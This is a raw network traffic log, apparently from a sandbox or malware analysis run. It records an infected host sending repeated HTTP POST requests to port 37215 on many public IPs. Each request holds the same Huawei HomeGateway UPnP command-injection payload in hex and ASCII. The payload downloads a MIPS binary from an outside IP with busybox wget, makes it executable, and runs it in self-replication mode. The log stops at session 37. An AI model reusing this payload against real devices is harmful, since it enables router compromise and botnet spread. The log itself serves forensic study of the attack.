2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	47794	41.166.85.150	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221220016 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	44040	41.242.31.133	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221247911 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	38000	41.143.61.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221247911 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	38628	157.240.255.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221272945 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	43126	197.4.26.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221280098 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	49974	197.231.189.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221301079 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	37348	86.49.143.0	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221313000 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	59124	157.236.245.35	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221338034 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	47982	197.32.17.115	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221338034 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	32888	41.210.186.227	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221364975 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	52450	41.214.240.131	37215

Timestamp	Bytes transferred	Direction	Data
